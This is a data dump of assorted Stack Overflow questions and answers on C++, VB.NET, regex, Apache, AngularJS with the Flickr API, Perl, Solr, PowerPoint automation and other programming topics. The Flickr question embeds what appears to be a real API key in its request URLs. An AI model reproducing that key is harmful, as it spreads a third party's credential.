
1964450	0	 <p>Here's a more idiomatic and generic approach:</p> <pre><code>template&lt;typename K, typename T&gt; class AVLTree { ... template &lt;typename Comparer&gt; void foo(Comparer cmp) { ... int res = cmp(key1, key2); ... } ... }; </code></pre> <p>Comparer should not be a type that defines a static <code>Compare</code> method. It should be a type which can be called with function call syntax. That allows you to use function pointers of function objects, and it allows you to reuse the comparers already defined in the standard library, or in pretty much any other nontrivial C++ application. It allows you to use lambdas when they're added in C++0x.</p> <p>As for forcing <code>Comparer</code> to behave as expected? The line <code>int res = cmp(key1, key2);</code> already ensures that. If you try to pass a type that can't be called in this way, you get a compile error.</p> <p>The same was the case in your original code. If you passed a type that didn't have a static <code>Compare</code> method, you'd get a compile error. So your original code already solved the problem.</p>
24745209	0	 <p>First of all, I would set the interval to something like 500, then step it back to 400, 300, 200, 100, etc. until you get the desired speed you want.</p> <p>Secondly, assuming <strong>Label2</strong> is your <em>max</em> value and <strong>Label3</strong> is your <em>min</em> value and that you want your progress bar control to simply <em>bounce</em> back and forth between the min and max values, I would do something like this:</p> <pre><code>Const MAX_VALUE = 100 Const MIN_VALUE = 0 Dim currentValue = 0 Dim isIncrementing = True Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick If currentValue = MAX_VALUE Then isIncrementing = False If currentValue = MIN_VALUE Then isIncrementing = True If isIncrementing Then currentValue += 1 Else currentValue -= 1 ProgressBar1.Value = currentValue ProgressBar1.Update() End Sub </code></pre> <p><em>Since I'm assuming your <strong>Label2</strong> and <strong>Label3</strong> are your min/max values, I'm also assuming they should stay static and never change, which is why I don't change their values in the <code>Tick</code> event. If you wanted a <strong>Current Value</strong> label, that would be easy enough to add and that would be changed at the same time the <code>ProgressBar1.Value</code> is.</em></p>
2421385	0	 <p>Regex has a thing called a "non capturing negative lookahead assertion" which basically says "don't match the following". It looks like this: </p> <pre><code>^people/(?!People_Search)([A-Za-z0-9\-\_]+)/?$ </code></pre> <p>Whether you can use this depends on the rewrite engine you use, and the level of regex support that's included in it. I'd expect that most common rewriters support this. </p> <p>FYI: There are also negative lookbehind assertions(?&lt;!), and also postive versions of the lookahead (?=) and lookbehind (?&lt;=) assertions. </p> <p>Tutorial: <a href="http://www.regular-expressions.info/lookaround.html" rel="nofollow noreferrer">http://www.regular-expressions.info/lookaround.html</a></p>
1569866	0	 <p>Either use:</p> <pre><code>&lt;Directory /path/to/root&gt; Options +ExecCGI &lt;/Directory&gt; </code></pre> <p>or</p> <pre><code>&lt;Location /&gt; Options +ExecCGI &lt;/Location&gt; </code></pre> <p>See <a href="http://httpd.apache.org/docs/2.2/mod/core.html#directory" rel="nofollow noreferrer">Directory</a> and <a href="http://httpd.apache.org/docs/2.2/mod/core.html#location" rel="nofollow noreferrer">Location</a> in Apache docs.</p>
40223949	0	 <p>The semantics of a value being missing are exactly why <a href="http://en.cppreference.com/w/cpp/utility/optional" rel="nofollow"><code>std::optional</code></a> was introduced to the C++ language specification.</p> <pre><code>std::optional&lt;unsigned int&gt; value; // by default, the value is missing if(value) { // executed if the value is present, it is not } else { // this code is executed } value = 1; if(value) { // This code would now be executed std::cout &lt;&lt; "the value: " &lt;&lt; *value &lt;&lt; std::endl; } </code></pre> <p>This requires a change in thinking regarding the meaning of the variable, but it forces you to think at all times regarding whether or not the variable would be present.</p> <p>So for example, if you had your own class type <code>MyClass</code> and you wanted to retain a, potentially missing, instance of it, you would do so as follows:</p> <pre><code>std::optional&lt;MyClass&gt; obj; // Initially missing obj = MyClass(); // Assigns a newly-created instance of MyClass obj-&gt;foo(); // Calls the 'MyClass::foo' method obj.reset(); // clears the 'obj' optional </code></pre>
33646950	0	How to increment and keep previous increments when values are the same in emacs <p>I have two columns with values, the second column starts at particular value, I want the second column to start with one, and increment only whenever a value changes, otherwise keep the previous increment. I can use macro to set the start count, but how to make sure that same values remains the same as shown ?, </p> <p>Problem: </p> <pre><code>0,39 1,39 2,39 3,39 4,40 5,40 6,40 7,41 </code></pre> <p>I want this: </p> <pre><code>0, 1 1, 1 2, 1 3, 1 4, 2 5, 2 6, 2 7, 3 </code></pre>
32050200	0	Flickr API - Get Image ID and pass to second request <p>I'm using Angular JS. My goal is to get a list of flickr images based on location and take the image IDs returned from the request and pass them into another request to get more information for each photo to be displayed in the results. Here is what I have but I can't seem to get the correct value returned from my second search function. Although this seems like a long question, I really just want to know how to get the correct value in my second function so I can assign it to my results. </p> <p>This is in my services.js</p> <pre><code>//flickr location search APIRequest.fkrSearch = function(lat, lon, rad){ fkrAPI = $resource('https://api.flickr.com/services/rest/?method=flickr.photos.search&amp;api_key=5956ffe850b325e0b121525800af5b31&amp;lat='+lat+'&amp;lon='+lon+'&amp;radius=5km&amp;format=json&amp;nojsoncallback=1', { dataType: 'jsonp', jsonp: 'jsoncallback' }); return fkrAPI.get().$promise.then(function (data){ console.log(data); return data; }); }; </code></pre> <p>Here is my request within my controller.</p> <pre><code>$scope.resultPosts = []; //global variable to hold results if ($scope.locationSearch.dataSource.fkr){ $scope.fkrLoading = true; console.log('search Flickr'); OSINTAPIRequest.fkrSearch($scope.lat, $scope.lng, $scope.radius).then(function(data){ if (data.error){ toastr.error(data.error.error_msg, 'Flickr Error['+data.error.error_code+']'); } else { if (data.photos.photo.length &gt; 0){ var fkrAppend = 0; for(var i=0; i &lt; data.photos.photo.length; i++){ fkrAppend++; var fkrImageId = data.photos.photo[i].id; $scope.resultPosts.push({ SourcePostID: data.photos.photo[i].id, Timestamp: '', PostLatitude: $scope.fkrGetLatLng(data.photos.photo[i].id), PostLongitude: $scope.fkrGetLatLng(data.photos.photo[i].id), PostMedia: 'https://farm'+data.photos.photo[i].farm+'.staticflickr.com/'+data.photos.photo[i].server+'/'+data.photos.photo[i].id+'_'+data.photos.photo[i].secret+'.jpg', PostType: 'image', PostAvatar: 'https://pingendo.github.io/pingendo-bootstrap/assets/user_placeholder.png', PostMarker: 'assets/img/fkrMarker.png', DataSource: 'flickr', Display:$scope.resultFilter.fkr }); } </code></pre> <p>This function returns a list of the image Ids for the photos geotagged in the give lat/long, but does not return the actual location data in the results for me to pass to the results and plot the point on the map. So you'll see that in my resultsPosts.push I'm trying to pass the returned image Id to the fkrGetLatLng function with this line <code>(PostLatitude: $scope.fkrGetLatLng(data.photos.photo[i].id))</code>... the function looks like this. </p> <pre><code>$scope.fkrGetLatLng = function (fkrImageId){ OSINTAPIRequest.fkrGetLatLong(fkrImageId).then(function(data){ var fkrLat = data.photo.location.latitude; var fkrLng = data.photo.location.latitude; //console.log (fkrLat+','+fkrLng); return fkrLat; }); } </code></pre> <p>And this is the request in the services JS. I'm getting the correct data back for each request, but it's not assigning the PostLatitude the correct value (or any value at all).</p> <pre><code> //flickr location search - get lat long APIRequest.fkrGetLatLong = function(fkrImageId){ fkrAPI = $resource('https://api.flickr.com/services/rest/?method=flickr.photos.geo.getLocation&amp;api_key=5956ffe850b325e0b121525800af5b31&amp;photo_id='+fkrImageId+'&amp;format=json&amp;nojsoncallback=1', { dataType: 'jsonp', jsonp: 'jsoncallback' }); return fkrAPI.get().$promise.then(function (data){ //console.log(data); return data; }); }; </code></pre>
14620400	0	 <p>I just wanted to put that up on SO, but this pull request should be helpful and remove the need for a separate function for numpy.dot <a href="https://github.com/numpy/numpy/pull/2730" rel="nofollow">https://github.com/numpy/numpy/pull/2730</a> This should be available in numpy 1.7</p> <p>In the meantime, I used the example above to write a function that can replace numpy dot, whatever the order of your arrays are, and make the right call to fblas.dgemm. <a href="http://pastebin.com/M8TfbURi" rel="nofollow">http://pastebin.com/M8TfbURi</a></p> <p>Hope this helps,</p>
37226493	0	C# how to make image move on Y axis like in slots (WPF) <p>How can i make image move on Y axis from top to bottom like in slots ? I have i my WPF this:</p> <pre><code>&lt;Border BorderBrush="Black" Margin="62,97,398,128.6" BorderThickness="2" Name="border" &gt; &lt;Grid&gt; &lt;Image Name="obrazekAutomat1" Source="cisla/2.png"/&gt; &lt;/Grid&gt; &lt;/Border&gt; </code></pre> <p>I would prefer it in CodeBehind. But i think if you give me XAML i would be able to rewrite it in C#.</p> <p>Thanks :)</p>
21194126	0	 <p>How about this? <code>window["yourfunctionname"]();</code></p> <pre><code> var FunctionName = func[before]; if (typeof(window[FunctionName]) === "function") { window[FunctionName](); } </code></pre> <p>OR </p> <pre><code> function myFunc(obj) { var func = $.parseJSON(obj); if (func[before] === "myBefore") { before();} // do some stuff if (func[after] === "myAfter") { after(); } } </code></pre>
13158290	0	 <p>Use this code to remove the white space:</p> <pre><code>NSString *str = @"this string contains blank spaces"; NSString *newStr = [str stringByReplacingOccurrencesOfString:@" " withString:@""]; </code></pre>
38083634	0	Android sign in with Google APIs expires very early <p>I followed these guidelines to integrate Google sign-in into my android app: <a href="https://developers.google.com/identity/sign-in/android/sign-in#start_the_sign-in_flow" rel="nofollow">https://developers.google.com/identity/sign-in/android/sign-in#start_the_sign-in_flow</a></p> <p>When activity's <code>onStart</code> is called, it tries to sign-in again, if required information is cached and present on device, without any Internet connection. </p> <p>The problem is that it expires at almost 5 hours. And Google APIs requires Internet connection to sign in again. </p> <p>How can I increase offline persistence of sign-in information? </p>
25781107	0	 <p>Which flume version are you using? It is fixed in V1.5.0 </p> <p>Refer : <a href="https://issues.apache.org/jira/browse/FLUME-2052" rel="nofollow">https://issues.apache.org/jira/browse/FLUME-2052</a></p>
6052881	0	Archiving large amounts of old data in SQL Server <p>Pretty simple question.</p> <p>I have a large 70gb database that has four of five tables that contain about 50 million rows each. These tables contain about 6 years worth of data. We are limited to amount of space in our database to 80gb, and we are going to be quickly approaching that in the next 6 months or so.</p> <p>We only need to keep about two years worth of data in the live database. What is the best approach to archiving the older data WITHOUT taking the live database offline (it's 24/7 database)?</p> <p>We are running SQL Server 2008 R2 Standard in a clustered environment using active-passive setup using shared storage.</p> <p>Thanks.</p>
18210837	0	 <p>Where arrList is the list returned by the GetSubnetLocations function in the format above (alphabetized) </p> <pre><code>Dim arrMenu : ReDim arrMenu(-1) Dim arrLocs : ReDim arrLocs(UBound(arrList),1) i = 0 For Each x In arrList 'Also building option list here intCount = Len(x) - Len(Replace(x,"/","")) arrLocs(i,0) = x arrLocs(i,1) = intCount i = i + 1 Next Result.InnerHTML = "" ReDim Preserve arrMenu(UBound(arrMenu)+1) arrMenu(UBound(arrMenu)) = "&lt;ul id=""menu""&gt;" For x = 1 To UBound(arrLocs,1) Step 1 ReDim Preserve arrMenu(UBound(arrMenu)+1) arrMenu(UBound(arrMenu)) = "&lt;li&gt;&lt;a&gt;" &amp; " " &amp; arrLocs(x,0) &amp; "&lt;/a&gt;&lt;/li&gt;" Next For j = 1 To UBound(arrMenu) If arrLocs(j,1) &gt; arrLocs(j-1,1) Then arrMenu(j-1) = Replace(arrMenu(j-1),"&lt;/li&gt;","&lt;ul style=""display:none""&gt;") End If If arrLocs(j,1) &lt; arrLocs(j-1,1) Then For x = 1 To arrLocs(j-1,1) - arrLocs(j,1) arrMenu(j-1) = arrMenu(j-1) &amp; "&lt;/li&gt;" Next End If Next ReDim Preserve arrMenu(UBound(arrMenu)+1) arrMenu(UBound(arrMenu)) = "&lt;/ul&gt;" strMenu = "" For Each n In arrMenu strMenu = strMenu &amp; n Next Result.InnerHTML = strMenu </code></pre>
15372328	0	 <p>Someone from FB says it's an expected exception, according to this bug report:</p> <p><a href="https://developers.facebook.com/bugs/122268321247958" rel="nofollow">https://developers.facebook.com/bugs/122268321247958</a></p>
19249576	0	 <p>What about implementing a OnLayoutChangeListener that gets called when a View is moved due to Layout Change</p> <pre><code>new View().addOnLayoutChangeListener(new OnLayoutChangeListener() { @Override public void onLayoutChange(View v, int left, int top, int right, int bottom, int oldLeft, int oldTop, int oldRight, int oldBottom) { // TODO Auto-generated method stub } }); </code></pre> <p>Excerpt from Android API:</p> <blockquote> <p>Add a listener that will be called when the bounds of the view change due to layout processing.</p> </blockquote>
14541020	0	 <p>Maybe Uploadify is your friend here... have a read of this for more info <a href="http://markp3rry.wordpress.com/?s=uploadify&amp;submit=Search" rel="nofollow">http://markp3rry.wordpress.com/?s=uploadify&amp;submit=Search</a></p>
31631685	0	 <p>You can either move/copy the Content folder under www root folder or use grunt file.js to process,combine,minify, and then copy to a folder under wwwroot. But ~/ now means wwwroot</p>
20727067	0	 <p>I know it's so late but I had the same problem, so here's the solution below: </p> <p>To create web.xml: </p> <ol> <li>Right click on your project</li> <li>Choose New</li> <li>Choose Other </li> <li>Box New file is opened, in Filter search web.xml</li> <li>You will get the file you want web.xml, then click next...then finish</li> </ol> <p>(Tested on Netbean 7.4 JDK 7)</p>
35139477	0	 <p>Turns out I simply had to implement this method into the viewController that holds this tableView:</p> <pre><code>override func tableView(tableView: UITableView, titleForFooterInSection section: Int) -&gt; String? { return "This will appear in footer styling below the section." } </code></pre>
26526756	0	 <pre><code>char *a </code></pre> <p><code>a</code> is a pointer to something. That something is a <code>char</code></p> <pre><code>int *b </code></pre> <p><code>b</code> is a pointer to something. That something is an <code>int</code></p> <p>Both <code>a</code> and <code>b</code> are <em>pointers</em>, they only store memory addresses to other things, which is why it is possible (but definitely not reccommended; <code>warning</code> by default, <code>error</code> with <code>-wError</code>) to store the address of an <code>int</code> in a <code>char *</code>.<br> Dereferencing it is undefined behaviour and "<a href="http://www.urbandictionary.com/define.php?term=nasal%20demons" rel="nofollow">anything could happen</a>" which is why the warning/error is there in the first place.</p> <p>It <em>may</em> work with your current machine and compiler. It isn't guaranteed to though, and literally anything could break it. Don't do it</p>
28195823	0	Wait for certain word in teraterm <p>I am now doing some teraterm script which I want to wait for certain word (in some large string) and if the word is found then execute a command, if not found execute another command. I tried to use wait and if_else, but it's not working, please help.</p>
33389208	0	 <p>Please try below </p> <p>yum update php*</p> <p>If you have rpm package then you can use rpm -U option to upgrade existing packages.</p>
38798293	0	 <p>You can put the audio and video on different tracks and use the mix transition to combine the audio.</p> <pre><code># melt video.mp4 \ -audio-track -blank 100 audio.mp3 \ -transition mix in=100 out=500 a_track=0 b_track=1 </code></pre> <p>Further explanation here: <a href="https://www.mltframework.org/bin/view/MLT/MltMelt#Transitions" rel="nofollow">https://www.mltframework.org/bin/view/MLT/MltMelt#Transitions</a></p> <p>Mix transition documentation here: <a href="https://www.mltframework.org/bin/view/MLT/TransitionMix" rel="nofollow">https://www.mltframework.org/bin/view/MLT/TransitionMix</a></p> <p><strong>EDIT1:</strong></p> <p>To mute the audio from a video clip, you can apply the volume filter:</p> <pre><code># melt video.mp4 -attach-clip volume gain=0 ... </code></pre> <p>To change the volume of a clip, you can also apply the volume filter:</p> <pre><code>... -audio-track -blank 100 audio.mp3 -attache-clip volume gain=3dB ... </code></pre> <p>Volume filter documentation: <a href="https://www.mltframework.org/bin/view/MLT/FilterVolume" rel="nofollow">https://www.mltframework.org/bin/view/MLT/FilterVolume</a></p> <p>To stop the music playing, you should set an "out" point. Also, you should put all the audio clips on one track and then specify the transitions:</p> <pre><code># melt video.mp4 -attach-clip volume gain=0 \ -audio-track -blank 100 audio1.mp3 out=400 -blank 300 audio2.mp3 out=400 \ -transition mix in=100 out=500 a_track=0 b_track=1 -transition mix in=800 out=1200 a_track=0 b_track=1 </code></pre>
27654734	0	 <p>I had a similar issue. It was not really an issue with Gmail or with PHP. The issue, in my case, was that when PHP generated the email message from my PHP source file, like the one above, it interpreted the end of lines in some way that Gmail did not like, perhaps it sent a LF instead of CRLF, some thing like that. I did not look at the details. What I know is that, given that the default on my emails was CRLF for an end of line, I wrote explicitly all end of lines using <code>&lt;?php echo "\r\n"; ?&gt;</code>, instead of relying on empty lines in the file and then Gmail interpreted correctly the message. It is likely that the issue was specific to the editor I used to write the PHP source file. In my case it was Notepad++. Perhaps it was not configured properly. It does not matter, now, just to be on the safe side, I always explicitly enter the end of lines in my email messages, at the least for the part that must be understood by MTAs and MUAs, the Content-Type, the boundary, etc. </p>
39165938	0	 <p>Honestly, I find IDEA scarily good at reading my mind of what method I want to call next. And it usually just takes a couple letters for it to narrow down what I'm looking for pretty precisely.</p> <p>But, I think what you may be looking for is the "Sort lookup items lexicographically" option, in the Settings window under Editor / General / Code Completion. This always sorts the list by the name, rather than by predicting a few things to put at the top.</p> <p>You can read more about it and the other code completion options <a href="https://www.jetbrains.com/help/idea/2016.2/code-completion-2.html" rel="nofollow">in the IntelliJ IDEA documentation</a>.</p> <p><a href="https://i.stack.imgur.com/qRlXK.png" rel="nofollow"><img src="https://i.stack.imgur.com/qRlXK.png" alt="Screenshot of Editor / General / Code Completion / Sort lookup items lexicographically"></a></p>
1439394	0	 <p>I find it is handy to use SQL*Plus column variables within directives - for example, I'm often in a session and want to spool to a new file name to avoid overwriting another log that may already exist and do this (first three statements through an @file):</p> <pre><code>SQL&gt; column spr new_value spoolref SQL&gt; select user||'_'||abs(dbms_random.random) spr from dual; SQL&gt; spool &amp;spoolref ... do work here ... SQL&gt; spool off </code></pre> <p>I'll then find the new log by sorting by time - you could always use some strategy other than the random number if you prefer.</p>
5048595	0	 <p>Probably the following will work: </p> <pre><code>Sub getData() With ... .... End With LastRowColH = Range("H65536").End(xlUp).Row ActiveSheet.Shapes.AddChart.Select ActiveChart.ChartType = xlXYScatter ActiveChart.SetSourceData Source:=Range("Sheet1!$D$3:$H$" &amp; CStr(LastRowColH)) End Sub </code></pre> <p>HTH!</p>
21748444	0	How to select(fetch) all the <select> elements in jQuery <p>I want to fill in all the options for things like </p> <pre><code>&lt;select id=such_a_field&gt; </code></pre> <p>to get the inputs in my form I can just go </p> <pre><code>$inputs = $('#myFormName :input'); </code></pre> <p>and iterate through them and set the value based on the id. For my select field, which I am now upgrading from a simple input to restrict what the user can put in, I first want to go read the set of available options (from the DB, via ajax of course), and then set the right one based on what's in the DB. Unfortunately </p> <pre><code>$selects = $('#myFormName :select'); </code></pre> <p>produces</p> <pre><code>Syntax error, unrecognized expression: unsupported pseudo: select </code></pre> <p>as of course :select isnt a pseudo selector. It would be enough just to extend my above :input selector and then enhance my field setting code to handle selects.</p>
22799070	0	asp.net mvc 4 accessing websecurity.Getuserid(user.identity.name) <p>I am trying to access to the user id that is currently logged on... I have two controllers, LicencaController and ProcessoController. In the ProcessoController there is a function that saves the user id and some other stuff, this function was private, but in order to gain access I have change it to public..</p> <p>Now in a function in the controller Licenca I instaciate an object ProcessoController and called the function on the ProcessoController...</p> <p>The problem is that user.identity.name is null.</p> <p>If from the ProcessoController I call the function to save the user id , user.identity.name gives me the username...</p> <p>If from the LicencaController I call the function to save the user id that is declared in the ProcessoController, it gives me null... I have tried other solutions like the one in this topic:</p> <p><a href="http://stackoverflow.com/questions/19515890/authentication-issue-when-debugging-in-vs2013-iis-express/">Authentication issue when debugging in VS2013 - iis express</a></p> <p>but it's not working... Is it possible to do this?</p> <p>What is the problem?</p> <p>Thanks in advance...</p> <p>Here goes the code:</p> <p>Fucntion SaveProcessoSoftware in the controller ProcessoProduto</p> <pre><code> public string SaveProcessoSoftware(int iIDProcesso, int iIDSoftware, int iIDTipoLicenciamento, List&lt;string&gt; NomeVariaveis, List&lt;string&gt; ValorVariaveis, string sNrFactura, string sIDLicencaInicial, string sDescricaoTipoSoftware) { int iIDFactura = GetIDFactura(sNrFactura); string sIDLicenca = SetLicenca(iIDSoftware, sIDLicencaInicial, sDescricaoTipoSoftware); ProcessoProdutos objProcSoft = new ProcessoProdutos(); objProcSoft.IDProcesso = iIDProcesso; objProcSoft.IDLicencaSoftware = sIDLicenca; objProcSoft.IDFactura = iIDFactura; objProcSoft.Rem = 0; objProcSoft.IDU = WebSecurity.CurrentUserId;// .GetUserId(User.Identity.Name); objProcSoft.TStamp = GetDateTimeFromSqlSytem(); db.ProcessoProdutos.Add(objProcSoft); db.SaveChanges(); if (NomeVariaveis != null) SaveVariaveis(sIDLicenca, iIDTipoLicenciamento, NomeVariaveis, ValorVariaveis); return sIDLicenca; } </code></pre> <p>Function SetLicenca...this is function where i save the user id...</p> <pre><code> public string SetLicenca(int iIDSoftware, string sIDLicenca, string sDescricaoTipoSoftware) { string LastTableIDLicenca = ""; Licenca Lic = new Licenca(); Lic.IDProduto = iIDSoftware; Lic.Estado = 4; Lic.Observacoes = ""; Lic.DataValidade = DateTime.MaxValue; Lic.Validado = 2; Lic.IDValidado = 0; Lic.IDTitular = 0; Lic.Rem = 0; Lic.IDU = WebSecurity.GetUserId(User.Identity.Name);&lt;---error Lic.TStamp = GetDateTimeFromSqlSytem(); Lic.IDLicenca = new Licenciamento_v2.Areas.Idonic.IDLicencaGenerator().GenerateCharID(8); db.Licencas.Add(Lic); int t = SaveLicenca(); if (t == -1) SetLicenca(iIDSoftware, sIDLicenca, sDescricaoTipoSoftware); else { LastTableIDLicenca = Lic.IDLicenca; //obter o id introduzido e actualizar o campo idInicial if (sDescricaoTipoSoftware.Equals("Software") == true) { Lic = db.Licencas.Find(LastTableIDLicenca); if (sIDLicenca != "") { Licenca LicAnt = db.Licencas.Find(sIDLicenca); Lic.IDInicial = LicAnt.IDInicial; } else { Lic.IDInicial = LastTableIDLicenca; } db.SaveChanges(); } } return LastTableIDLicenca; } </code></pre> <p>From LicencaController i do this:</p> <pre><code> public void SaveSoftwareToLicenca() { int sessionIDProcesso = (int)Session["EditIDProcesso"]; ProcessoController procCont = new ProcessoController(); procCont.ChangeProcessoProdutoStatus(sessionIDProcesso, t.rowId, 1); procCont.ChangeLicencaEstado(t.rowId, 3); procCont.ChangeLicencaVariaveisStatus(t.rowId, 1); Session["IDLicenca"] = procCont.SaveProcessoSoftware(sessionIDProcesso, t.row.IDSoftware, t.row.IDNivelDeLicenciamento, t.row.NomeVariaveis, t.row.ValorVariaveis, t.row.NumeroFactura, t.row.IDLicenca, t.row.DescricaoTipoDeSoftware); } </code></pre> <p>Thanks again for the help..</p>
11736910	0	 <p>I have the answer. Apparently jQuery doesn't support the <a href="http://stackoverflow.com/a/1694803/1062281">default behavior of links clicked programmatically</a> </p> <p>Creating and submitting a form works really well though (tested in <code>Chrome 26</code>, <code>FF 20</code> and <code>IE 8</code>):</p> <pre><code>var form = $("&lt;form&gt;&lt;/form&gt;"); form.attr( { id : "newform", action : "https://google.nl", method : "GET", target : "_blank" // Open in new window/tab }); $("body").append(form); $("#newform").submit(); $("#newform").remove(); </code></pre> <p>What it does:</p> <ol> <li>Create a form</li> <li>Give it attributes</li> <li>Append it to the DOM so it can be submitted</li> <li>Submit it</li> <li>Remove the form from the DOM</li> </ol> <p>Now you have a new tab/window loading "<a href="https://google.nl" rel="nofollow">https://google.nl</a>" (or any URL you want, just replace it). Unfortunately when you try to open more than one window at once this way, you get an Popup blocked messagebar when trying to open the second one (the first one is still opened).</p>
31252223	0	 <p>First, <code>open()</code> is used for files. What you want is <code>opendir()</code>. Next, when you use <code>opendir(), readdir()</code>, it doesn't keep the path information, so you need to prepend it to the files you're renaming. Third, it's more common to use lexical handles as opposed to bare names. Lastly, always <code>use strict;</code> and <code>use warnings;</code> which would have pointed you directly to the problem.</p> <p>Here's a slightly updated version of your code:</p> <pre><code>#!/usr/bin/perl use warnings; use strict; my $dir = "/path/to/dir"; opendir(my $dh, $dir) or die $!; while ( my $file = readdir($dh) ) { next if ( $file =~ m/(^\.)/ ); next unless -f $file; if ( $file !~ m/csv$/ ) { print "*** renaming file $file ***\n"; my $oldfile = $file; $file =~ s/\..*$/.csv/; print "$oldfile =&gt; $file\n"; rename "$dir/$oldfile", "$dir/$file"; print "Done\n"; } } </code></pre> <p>Another way to do this is use a file glob (per suggestion by Sobrique):</p> <pre><code>#!/usr/bin/perl use warnings; use strict; my @files = &lt;/path/to/dir/*&gt;; for my $file (@files){ next unless -f $file; if ($file !~ /\.csv$/){ print "*** renaming file $file ***\n"; my $oldfile = $file; $file =~ s/\..*$/.csv/; print "$oldfile =&gt; $file\n"; rename $oldfile, $file; print "Done!\n"; } } </code></pre>
35683293	0	 <p>Seems like a typing mistake: you need <code>compile</code>, but not <code>complie</code>.</p> <p>That line in first gradle file: <code>complie 'org.jopendocument:jOpenDocument:1.3b1'</code></p>
32260332	1	Defining a constructor for ponyorm's Entities results in TypeError <p>i just wanted to try out the pony orm mapper for a small personal web application. Everything works fine except for defining a custom constructor for an entity.</p> <p>In the following code i created a simple entity with a string field <code>name</code> and defined a constructor which does nothing but redirect the arguments to the parent constructor (in my real app i change some of the arguments bevor passing them to the parent constructor). After that i create one <code>User</code> and print its name.</p> <pre><code>from pony.orm import Database, Required, db_session, commit db = Database("sqlite", ":memory:", create_db=True) class User(db.Entity): def __init__(self, *args, **kwargs): super(User, self).__init__(*args, **kwargs) name = Required(str) db.generate_mapping(create_tables=True) with db_session: u = User(name="Admin") commit() print(u, u.name) </code></pre> <p>The error message is <code>TypeError: object.__init__() takes no parameters</code> in the same line as the <code>super()</code>call. It looks like the keyword arguments are sent to <code>object</code> instead of <code>db.Entity</code>. When i remove the constructor everything works</p> <p>So why doesn't it work. Shouldn't a constructor like the one in my example just always work (and do nothing of course)? Is there something in ponyorm that prevents it from working or am i missing something here?</p> <p>For completeness sake my entity definition actually looks like this</p> <pre><code>class User(db.Entity): def __init__(self, *args, **kwargs): if "password" not in kwargs: raise ValueError("password is required") kwargs["password"] = werkzeug.security.generate_password_hash(kwargs["password"]) super().__init__(*args, **kwargs) name = Required(str) password = Required(str) </code></pre> <p>It produces the same results.</p> <p>Also in the official documentation it says that method creation in entities is allowed at least. <a href="http://doc.ponyorm.com/entities.html#adding-custom-methods-to-entities" rel="nofollow">http://doc.ponyorm.com/entities.html#adding-custom-methods-to-entities</a> . But it doesn't say anything about constructors.</p>
26632199	0	 <p>To combine all three of the above answers, you need the stopwords_en.txt as it begins testing for English language text</p> <p>From <a href="http://wiki.apache.org/solr/LanguageAnalysis#Stopwords" rel="nofollow">http://wiki.apache.org/solr/LanguageAnalysis#Stopwords</a></p> <blockquote> <p>Stopwords affect Solr in three ways: relevance, performance, and resource utilization.</p> <p>From a relevance perspective, these extremely high-frequency terms tend to throw off the scoring algorithm, and you won't get very good results if you leave them. At the same time, if you remove them, you can return bad results when the stopword is actually important.</p> <p>From a performance perspective, if you keep stopwords, some queries (especially phrase queries) can be very slow.</p> <p>From a resource utilization perspective, if you keep stopwords, the index is much larger than if you remove them.</p> <p>One tradeoff you can make if you have the disk space: You can use CommonGramsFilter/CommonGramsQueryFilter instead of StopFilter. This solves the relevance and performance problems, at the expense of even more resource utilization, because it will form bigrams of stopwords to their adjacent words.</p> </blockquote> <p>What you need to do is copy the original version located in the /conf/lang folder of your solr directory into just the /conf directory</p> <pre><code>cp PATH/TO/solr/conf/lang/stopwords_en.txt PATH/TO/solr/conf </code></pre>
40752236	0	Xpath Parsing part of name contains white space and special character <p>I have the xml line below:</p> <pre><code>&lt;Custom AttributeName="HHPP"&gt;ancd&lt;/Custom&gt; </code></pre> <p>I want to parse the HHPP part form name, what is the xpath expression to do that?</p>
15276947	0	 <p>This code snippet creates a new presentation:</p> <pre><code> private void DpStartPowerPoint() { // Create the reference variables PowerPoint.Application ppApplication = null; PowerPoint.Presentations ppPresentations = null; PowerPoint.Presentation ppPresentation = null; // Instantiate the PowerPoint application ppApplication = new PowerPoint.Application(); // Create a presentation collection holder ppPresentations = ppApplication.Presentations; // Create an actual (blank) presentation ppPresentation = ppPresentations.Add(Office.MsoTriState.msoTrue); // Activate the PowerPoint application ppApplication.Activate(); } </code></pre> <p>And this code snippet saves it:</p> <pre><code> // Assign a filename under which to save the presentation string myFileName = "myPresentation"; // Save the presentation unconditionally ppPresentation.Save(); // Save the presentation as a PPTX ppPresentation.SaveAs(myFileName, PowerPoint.PpSaveAsFileType.ppSaveAsDefault, Office.MsoTriState.msoTrue); // Save the presentation as a PDF ppPresentation.SaveAs(myFileName, PowerPoint.PpSaveAsFileType.ppSaveAsPDF, Office.MsoTriState.msoTrue); // Save a copy of the presentation ppPresentation.SaveCopyAs(“Copy of “ + myFileName, PowerPoint.PpSaveAsFileType.ppSaveAsDefault, Office.MsoTriState.msoTrue); </code></pre> <p>See <a href="http://www.davidallenpollock.com/AutomatingPowerPoint.html" rel="nofollow">this page</a> for references on other powerpoint automation capabilities.</p>
23568649	0	 <p>you don't have a variable: '[ || test || ]' is a string. you need this one '[' || test || ']'</p>
603558	0	 <p>It is probably the McAfee on-access scanner that holds the lock. If you only use read access, it is bypassed. I believe that you can use the Sysinternals Process Viewer tool (free from Microsoft) to confirm that.</p> <p>Not sure what subscription you have for McAfee, but you can define exception rules so that it does not scan this file.</p>
23212466	0	32feet bluetooth c# which exception thrown when connected device switch off? <p>I am developing a bluetooth application in c# to read data from sensors using 32feet.net library. I am able to communicate with sensors and able to read values , send command etc. The Communicating thread will either be waiting in read or writing command to the sensor. I expected that an IOException will be thrown when sensors suddenly powers off. but never got exception.</p> <p>Need help to figure out What kind of exception will be thrown when the sensors suddenly powers off? </p>
3451451	0	Why do people spend so much time searching for, and hacking around with, "free" toolsets when superior pay ones are available? <p><strong>Clarification:</strong> I'm referring to companies that pay developers, professionally. I understand why a "hobby" or "for fun" developer wouldn't want to (or couldn't afford) a fully-features pay tool, and may prefer to tinker. I'm talking about situations where a deadline is bearing down on a developer/company and development time is diverted away from the goal in pursuit of a "Free" tool to accomplish what a pay one is available to do.</p> <hr> <p>I've noticed a number of Stack Overflow questions recently (they're not new, I've just recently taken notice) where people are searching for free alternatives to popular development tools for things like <a href="http://en.wikipedia.org/wiki/Application_lifecycle_management" rel="nofollow noreferrer">ALM</a>, database comparison, and other functions for which there's a trivially costly pay alternative. The "Free" tag on Stack Overflow has 350 questions, and it doesn't take long to see dozens of examples of "Is there a FREE tool to do X?" followed by discussions that must have taken the asker hours to research and participate in.</p> <p>It's not just about paying less - I'm often amazed at the hoops that some developers (or, perhaps more accurately, their companies) will go through to avoid paying for something - in some cases, a pay solution will be 